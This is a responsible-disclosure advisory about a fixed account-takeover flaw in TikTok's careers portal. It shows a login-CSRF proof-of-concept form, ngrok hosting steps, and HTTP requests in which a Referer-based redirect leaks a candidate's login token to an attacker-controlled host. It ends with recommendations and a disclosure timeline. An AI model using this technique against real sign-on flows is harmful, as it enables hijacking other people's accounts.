ADVISORIES
TikTok Careers Portal Account Takeover
The following (slightly modified) vulnerability report was sent to TikTok using Hackerone on 17th October 2020 and was resolved within 12 days.
Advisory
A TikTok careers portal which is used by candidates to apply to job postings (in the following redacted to to [redacted domain 1] per request from TikTok’s security team) implements Single Sign-On using Facebook and LinkedIn. Due to missing CSRF protection and, even worse, an Open Redirect vulnerability, a malicious actor could take over a candidate’s TikTok Careers account. This vulnerability is limited to the TikTok Careers portal and does not impact the TikTok web or mobile application.
Missing CSRF protection
Prerequisites: In order to perform an account takeover, we require that our candidate previously used their Facebook account to authenticate at [redacted domain 1] and therefore the initial consent to share data with TikTok was given. Additionally, we require that the candidate has an active session at Facebook.
TikTok did not adequately protect the endpoint that launches a Login Flow with Facebook regarding CSRF. Therefore, using a trivial CSRF attack a malicious Attacker could authenticate the candidate into their own account:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[redacted domain 1]/api/v1/user/facebook/login">
<input type="hidden" name="next_url" value="https://redacted.tiktok.com/" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Note that the above PoC did not work 1:1 because of the following behavior. If we ignore the following steps, the candidate would be authenticated into their own account at the end of the regular Login Flow.
Authentication Response target
If a Referer
header was present within the request to https://[redacted domain 1]/api/v1/user/facebook/login
, the highly sensitive token
was disclosed to a potentially attacker controlled domain.
Using this token
, the attacker was then able to authenticate as the candidate whose token
was obtained. This was possible because for TikTok the token
is an opaque value that cannot be validated regarding its subject.
Assembling the Puzzle - Steps to Reproduce / Exploit
Just like in the web attacker model that was introduced by Barth et al. in 2008 (https://www.adambarth.com/papers/2008/barth-jackson-mitchell.pdf), we require that the candidate visits an attacker controlled website. Additionally, as stated earlier, we require that the candidate has their Facebook account linked to TikTok’s careers portal.
- [Preparation] Save the above mentioned Login CSRF PoC and launch a simple web server:
$ python -m http.server 1234
- [Preparation] As we need TLS later on, launch ngrok (https://ngrok.com/) to obtain a public (Sub-)Domain with valid certificate (obtain public URL for further steps):
$ ngrok http 1234
[Candidate] The candidate browses the publicly available PoC (attacker controlled) at https://abcdefghij.ngrok.io - to illustrate the attack, manually click “Submit request” (this could be also done using JavaScript in order to hide the request from the candidate).
[Background] Without further candidate interaction, there is a request to TikTok’s endpoint that launches a Login Flow. Important in this step is the
Referer
header:
GET /api/v1/user/facebook/login?next_url=https%3A%2F%2F[redacted_domain_1]%2F HTTP/1.1
Host: [redacted domain 1]
[...]
Referer: https://abcdefghij.ngrok.io
Cookie: [REDACTED]
- [Background] Without further candidate interaction, the candidate is redirected to Facebook:
HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=utf-8
Content-Length: 283
Location: https://www.facebook.com/v3.2/dialog/oauth?client_id=792134571243895&redirect_uri=https%3A%2F%2F[redacted domain 2]%2Fapi%2Fv1%2Fopen%2Fportal%2Foauth%2Ffacebook%2Fcallback&response_type=code&state=[REDACTED]
[...]
- [Background] As the candidate has an active session at Facebook and the account is already linked to [redacted domain 1], Facebook redirects the candidate back to the
redirect_uri
without any further interaction:
HTTP/1.1 302 Found
[...]
Location: https://[redacted domain 2]/api/v1/open/portal/oauth/facebook/callback?code=[REDACTED]&state=[REDACTED]D#_=_
- [Background]
https://[redacted domain 2]
redirects the candidate to/api/v1/user/facebook/callback
as path.
Important: In doing so, it uses the host that was present as Referer
in the very first request to TikTok’s /api/v1/user/facebook/login
endpoint. As this request is attacker-controlled, the attacker can leak the token
parameter:
GET /api/v1/user/facebook/callback?next_url=https%3A%2F%2F[redacted_domain_1]%2F&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: abcdefghij.ngrok.io
[...]
Recap: At this point, an attacker that has the ability to launch a CSRF attack obtains a token
that is bound to the candidate’s Facebook account.
The following steps are performed from the attacker’s perspective and in a fresh browser session.
- [Attacker] The attacker browses to
https://[redacted domain 1]/login
and clicks the Facebook button. - [Attacker] The attacker performs all following steps and forwards all requests up to the point when the final request including his
token
would be sent tohttps://[redacted domain 1]/api/v1/user/facebook/callback
- in this request the attacker swaps histoken
against the previously obtainedtoken
that is bound to the candidate’s account.
GET /api/v1/user/facebook/callback?next_url=https%3A%2F%2F[redacted_domain_1]%2F&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: [redacted domain 1]
[...]
- [Attacker] The attacker is authenticated as candidate on [redacted domain 1].
A generic flow is given in the following:
Impact
A malicious actor could takeover a candidate’s account at [redacted domain 1] using Cross-Site-Request-Forgery.
Recommendation
The following recommendations were made during the initial report:
- Implement CSRF protection for endpoints that start authentication flows, in order to mitigate Login CSRF (authenticate the candidate into their account).
- Do not disclose sensitive authentication related parameters like the
token
to third parties. If theReferer
is used to determine the target of thetoken
, its value must be validated using a proper whitelist!
Responsible Disclosure
- 17th October 2020: [LH] Initial Report via Hackerone: https://hackerone.com/reports/1010522
- 18th October 2020: [TikTok] The report is triaged with CVSS Score
High (7.5)
. - 28th October 2020: [TikTok] A bounty is awarded.
- 29th October 2020: [TikTok] The report is resolved.
- 29th October 2020: [LH] The fix is successfully retested.
The Responsible Disclosure process was exemplary, kudos to TikTok’s Application Security team! 🙂
Thank you for reading this post! If you have any feedback, feel free to reach out via Mastodon, Twitter or LinkedIn. 👨💻
Special thanks to Louis Jannett (@iphoneintosh) and to TikTok’s security team for their valuable feedback prior publication 🙂
You can directly tweet about this post using this link. 🤓